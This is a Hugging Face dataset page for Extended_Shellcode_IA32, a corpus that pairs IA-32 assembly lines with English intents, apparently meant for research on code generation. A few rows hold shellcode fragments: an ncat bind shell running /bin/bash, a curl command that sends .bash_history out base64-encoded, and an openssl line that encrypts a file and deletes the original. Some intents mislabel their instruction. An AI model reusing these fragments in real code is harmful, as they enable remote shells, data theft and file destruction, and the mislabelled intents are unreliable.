OSS-forge/Extended_Shellcode_IA32 · Datasets at Hugging Face

SNIPPETS stringlengths 2 1.64k	INTENTS stringlengths 4 1.66k
mov esi, esp	save addr of stack into esi
mov esi, esp	save the name of the file into esi register
mov esi, esp	moving the pointer to Ô-vp13337Õto esi
mov esi, esp	save esp content into esi register
mov esi, esp	move esp into esi
mov esi, v	move v to esi
mov esi, v_src	move v_src to esi
mov esi, var	copy the address of var into esi
mov esi,0x34399797	move hexadecimal value 0x34399797 into esi content
mov esi,eax	move the socket file descriptor from eax to esi
mov esi,eax	saves socket descriptor from eax into esi regsiter
mov esi,eax	save the socket descriptor stored in eax in esi
mov esp, ebp	move the contents of the ebp register ino the esp register
mov esp, ebp	move the contents of the ebp register into the esp register
mov esp,0x1cd9faf7	copy 0x1cd9faf7 into esp content
mov long [esi+18], esi	move the contents of the esi register into the long starting at the address [esi+18]
mov long [esi+22], ebx	move the contents of the ebx register into the long starting at the address [esi+22]
mov long [esi+22], esi	move the contents of the esi register into the long starting at the address [esi+22]
mov long [esi+26], eax	move the contents of the eax register into the long starting at the address [esi+26]
mov long [esi+26], ebx	move the contents of the ebx register into the long starting at the address [esi+26]
mov long [esi+30], eax	move the contents of the eax register into the long starting at the address [esi+30]
mov rcx, 0x68732f2f6e69622f	move the immediate value /bin//sh in hex in rcx
mov sock_reg, eax	move eax into sock_reg
mov total, 48	transfer the value 48 in the memory variable total
mov word [ebx], 2	move the 16-bit integer representation of 2 into the 2 bytes starting at the address in ebx
mov word [ecx], 2	move the 16-bit integer representation of 2 into the 2 bytes starting at address ecx
mov word [edi], ax	move ax into the word in edi
mov word [esp+0x1], 0x776f	move 0x776f into the word in [esp+0x1]
mov word ptr [edi-0x69622f69],ss	copy ss content into the word at the adress edi-0x69622f69
mov x, eax	move eax to x variable
mov[esi+13], al	null terminate /usr/bin/ncat
mov[esi+22], al	null terminate -lvp1337
mov[esi+34], al	null terminate -e/bin/bash
mov[esi+35], esi	store address of /usr/bin/ncat in aaaa
mov[esi+39], ebx	store address of -lvp1337 in bbbb taken from ebx
mov[esi+43], ebx	store address of -e/bin/bash in cccc taken from ebx
mov[esi+47], eax	zero out dddd
move ecx, edx	backup edx into ecx
movq mm0, qword [edi]	move the 64 bit of edi into mm0 64bit register
movq mm0, qword [edi]	move 8bytes of "xor_value" to mm0
movq mm1, qword [esi]	move the 64 bit of esi into mm1 64bit register
movq mm1, qword [esi]	move 8bytes of "shellcode" to mm1
movq mm2, qword [edi]	move 8bytes of "rot_value" to mm2
movq mm3, qword [esi]	move 8bytes of "shellcode" to mm3
movq qword [esi], mm0	transfer the 64 bit of mm0 register to the 64bit register esi
movq qword [esi], mm0	overwrite the "shellcode" with previous results
movq qword [esi], mm3	overwrite the "shellcode" with previous results
mp short call_decoder	perform a short unconditional jump to call_decoder
msg db 'curl http://localhost:8080 -d 'data='$(cat .bash_history \| base64 -w 0) -x post', 0x0a	define msg as the byte string 'curl http://localhost:8080 -d 'data='$(cat .bash_history \| base64 -w 0) -x post'
msg db 'hello, world!', 0xa	declare msg string containing 'hello world!'
msg db 'i love you!', 0ah	define msg variable and initialize with 'i love you!'
msg db 'mv test.txt .test.txt && head -c 32 /dev/urandom \| base64 \| openssl aes-256-cbc -e -in .test.txt -out test.txt -pbkdf2 -k - && rm .test.txt', 0x0a	define msg as the byte string 'mv test.txt .test.txt && head -c 32 /dev/urandom \| base64 \| openssl aes-256-cbc -e -in .test.txt -out test.txt -pbkdf2 -k - && rm .test.txt'
msg db 'we found the egg!', 0ah, 0dh	define msg as the byte string 'we found the egg!'
msg_len equ $-msg	define msg_len equal to the length of msg
msg1 db 'hello, brave new world!', 0ah	declare message string msg1 containing 'hello brave new world!'
msg2 db 'passwd', 0x00	define msg2 as the byte string 'passwd'
msg2 db 'this is how we recycle in nasm.', 0ah	declare message string msg2 containing 'this is how we recycle in nasm'
msglength: equ 12	declare msglength to have the constant value 12
mul [tmp]	multiply the contents of eax by the 32-bit contents of the memory location tmp
mul [value]	multiply the contents of eax by the 32-bit contents of the memory location value
mul [var]	multiply the contents of eax by the 32-bit contents of the memory location var
mul 0x10	multiply eax by 0x10 and stores the result in edx:eax
mul 25	multiply the contents of eax by 25
mul 3	multiply the contents of eax by 3
mul ebx	xoring eax and edx
mul ebx	zero out eax register
mul ebx	clear eax
mul ebx	multiply the contents of eax by ebx
mul ebx	multiply the contents of the eax register by the contents of the ebx register
mul ebx	multiply eax by ebx
mul ebx	multiply eax by the contents of the ebx register
mul ebx	mul eax by ebx
mul ecx	multiply by ecx, zero out eax and edx
mul ecx	mutliply eax by 0
mul ecx	clear eax
mul ecx	mul eax by ecx
mul ecx	multiply eax by the contents of the ecx register
mul ecx	mutliply eax by ecx
mul ecx	multiply eax by ecx
mul edx	multiply edx with eax saving the result in eax
mul edx	multiply eax by the contents of the edx register
mul edx	mul eax by edx
mul edx	multiply eax by edx
my_table times 10 dw 0	allocate 10 words each initialized to 0
my_table times 10 dw 0	allocate my_table vector of 10 words each initialized to 0
my_var dw 0abcdh	define my_var word variable and initialize it to 0abcdh
myList word 1,2,3,4,5	define myList array of word and initialize it to 1, 2, 3, 4, and 5
name db '/bin/sh', 0	define name as the byte string '/bin/sh'
name db 30 dup	allocate memory for 30 bytes uninitialized name variable
neg eax	negate eax
neg eax	negate the contents of eax
neg eax	replaces the contents of the eax register with its two's complement
neg ebx	replaces the contents of the ebx register with its two's complement
neg ecx	replaces the contents of the ecx register with its two's complement
neg edi	performs the two's complement negation of the edi contents.
neg edi	negate edi
neg edi	replaces the contents of the edi register with its two's complement
neg edx	replaces the contents of the edx register with its two's complement
neg var	negate the contents of var
neg_number dw -12345	define the variable neg_number of words and initialize it to -12345

mov esi, esp

save addr of stack into esi

mov esi, esp

save the name of the file into esi register

mov esi, esp

moving the pointer to Ô-vp13337Õto esi

mov esi, esp

save esp content into esi register

mov esi, esp

move esp into esi

mov esi, v

move v to esi

mov esi, v_src

move v_src to esi

mov esi, var

copy the address of var into esi

mov esi,0x34399797

move hexadecimal value 0x34399797 into esi content

mov esi,eax

move the socket file descriptor from eax to esi

mov esi,eax

saves socket descriptor from eax into esi regsiter

mov esi,eax

save the socket descriptor stored in eax in esi

mov esp, ebp

move the contents of the ebp register ino the esp register

mov esp, ebp

move the contents of the ebp register into the esp register

mov esp,0x1cd9faf7

copy 0x1cd9faf7 into esp content

mov long [esi+18], esi

move the contents of the esi register into the long starting at the address [esi+18]

mov long [esi+22], ebx

move the contents of the ebx register into the long starting at the address [esi+22]

mov long [esi+22], esi

move the contents of the esi register into the long starting at the address [esi+22]

mov long [esi+26], eax

move the contents of the eax register into the long starting at the address [esi+26]

mov long [esi+26], ebx

move the contents of the ebx register into the long starting at the address [esi+26]

mov long [esi+30], eax

move the contents of the eax register into the long starting at the address [esi+30]

mov rcx, 0x68732f2f6e69622f

move the immediate value /bin//sh in hex in rcx

mov sock_reg, eax

move eax into sock_reg

mov total, 48

transfer the value 48 in the memory variable total

mov word [ebx], 2

move the 16-bit integer representation of 2 into the 2 bytes starting at the address in ebx

mov word [ecx], 2

move the 16-bit integer representation of 2 into the 2 bytes starting at address ecx

mov word [edi], ax

move ax into the word in edi

mov word [esp+0x1], 0x776f

move 0x776f into the word in [esp+0x1]

mov word ptr [edi-0x69622f69],ss

copy ss content into the word at the adress edi-0x69622f69

mov x, eax

move eax to x variable

mov[esi+13], al

null terminate /usr/bin/ncat

mov[esi+22], al

null terminate -lvp1337

mov[esi+34], al

null terminate -e/bin/bash

mov[esi+35], esi

store address of /usr/bin/ncat in aaaa

mov[esi+39], ebx

store address of -lvp1337 in bbbb taken from ebx

mov[esi+43], ebx

store address of -e/bin/bash in cccc taken from ebx

mov[esi+47], eax

zero out dddd

move ecx, edx

backup edx into ecx

movq mm0, qword [edi]

move the 64 bit of edi into mm0 64bit register

movq mm0, qword [edi]

move 8bytes of "xor_value" to mm0

movq mm1, qword [esi]

move the 64 bit of esi into mm1 64bit register

movq mm1, qword [esi]

move 8bytes of "shellcode" to mm1

movq mm2, qword [edi]

move 8bytes of "rot_value" to mm2

movq mm3, qword [esi]

move 8bytes of "shellcode" to mm3

movq qword [esi], mm0

transfer the 64 bit of mm0 register to the 64bit register esi

movq qword [esi], mm0

overwrite the "shellcode" with previous results

movq qword [esi], mm3

overwrite the "shellcode" with previous results

mp short call_decoder

perform a short unconditional jump to call_decoder

msg db 'curl http://localhost:8080 -d 'data='$(cat .bash_history | base64 -w 0) -x post', 0x0a

define msg as the byte string 'curl http://localhost:8080 -d 'data='$(cat .bash_history | base64 -w 0) -x post'

msg db 'hello, world!', 0xa

declare msg string containing 'hello world!'

msg db 'i love you!', 0ah

define msg variable and initialize with 'i love you!'

msg db 'mv test.txt .test.txt && head -c 32 /dev/urandom | base64 | openssl aes-256-cbc -e -in .test.txt -out test.txt -pbkdf2 -k - && rm .test.txt', 0x0a

define msg as the byte string 'mv test.txt .test.txt && head -c 32 /dev/urandom | base64 | openssl aes-256-cbc -e -in .test.txt -out test.txt -pbkdf2 -k - && rm .test.txt'

msg db 'we found the egg!', 0ah, 0dh

define msg as the byte string 'we found the egg!'

msg_len equ $-msg

define msg_len equal to the length of msg

msg1 db 'hello, brave new world!', 0ah

declare message string msg1 containing 'hello brave new world!'

msg2 db 'passwd', 0x00

define msg2 as the byte string 'passwd'

msg2 db 'this is how we recycle in nasm.', 0ah

declare message string msg2 containing 'this is how we recycle in nasm'

msglength: equ 12

declare msglength to have the constant value 12

mul [tmp]

multiply the contents of eax by the 32-bit contents of the memory location tmp

mul [value]

multiply the contents of eax by the 32-bit contents of the memory location value

mul [var]

multiply the contents of eax by the 32-bit contents of the memory location var

mul 0x10

multiply eax by 0x10 and stores the result in edx:eax

mul 25

multiply the contents of eax by 25

mul 3

multiply the contents of eax by 3

mul ebx

xoring eax and edx

mul ebx

zero out eax register

mul ebx

clear eax

mul ebx

multiply the contents of eax by ebx

mul ebx

multiply the contents of the eax register by the contents of the ebx register

mul ebx

multiply eax by ebx

mul ebx

multiply eax by the contents of the ebx register

mul ebx

mul eax by ebx

mul ecx

multiply by ecx, zero out eax and edx

mul ecx

mutliply eax by 0

mul ecx

clear eax

mul ecx

mul eax by ecx

mul ecx

multiply eax by the contents of the ecx register

mul ecx

mutliply eax by ecx

mul ecx

multiply eax by ecx

mul edx

multiply edx with eax saving the result in eax

mul edx

multiply eax by the contents of the edx register

mul edx

mul eax by edx

mul edx

multiply eax by edx

my_table times 10 dw 0

allocate 10 words each initialized to 0

my_table times 10 dw 0

allocate my_table vector of 10 words each initialized to 0

my_var dw 0abcdh

define my_var word variable and initialize it to 0abcdh

myList word 1,2,3,4,5

define myList array of word and initialize it to 1, 2, 3, 4, and 5

name db '/bin/sh', 0

define name as the byte string '/bin/sh'

name db 30 dup

allocate memory for 30 bytes uninitialized name variable

neg eax

negate eax

neg eax

negate the contents of eax

neg eax

replaces the contents of the eax register with its two's complement

neg ebx

replaces the contents of the ebx register with its two's complement

neg ecx

replaces the contents of the ecx register with its two's complement

neg edi

performs the two's complement negation of the edi contents.

neg edi

negate edi

neg edi

replaces the contents of the edi register with its two's complement

neg edx

replaces the contents of the edx register with its two's complement

neg var

negate the contents of var

neg_number dw -12345

define the variable neg_number of words and initialize it to -12345